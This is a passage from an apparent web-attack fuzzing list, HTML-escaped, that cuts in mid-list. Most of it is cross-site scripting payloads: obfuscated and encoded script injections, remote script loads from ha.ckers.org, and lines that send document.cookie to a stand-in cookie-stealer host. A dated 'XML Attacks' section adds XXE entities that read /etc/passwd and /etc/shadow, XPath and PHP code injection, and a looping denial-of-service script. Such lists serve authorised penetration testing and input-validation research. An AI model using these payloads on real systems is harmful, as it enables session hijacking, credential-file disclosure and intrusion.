&quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- 